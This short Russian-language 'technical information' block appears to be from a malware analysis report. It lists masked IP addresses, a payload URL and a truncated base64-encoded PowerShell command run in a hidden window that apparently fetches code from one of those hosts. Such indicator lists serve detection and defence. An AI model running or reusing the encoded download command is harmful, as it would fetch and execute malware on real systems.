Техническая информация
- '79.##1.174.253':80
- '14#.#35.248.250':80
- '74.##9.193.49':80
- '87.##6.146.93':80
- '70.##.218.85':80
- '15#.#7.17.180':80
- http://74.##9.193.49/Z1thpfOEB4av.dat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAcwBlAHMAcQB1AGkAcQB1AGEAcgB0AGkAbABlAEEAcABwAG8AaQBuAHQAZQByAHMAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8ANwA5AC4AMQA0ADEA... (со скрытым окном)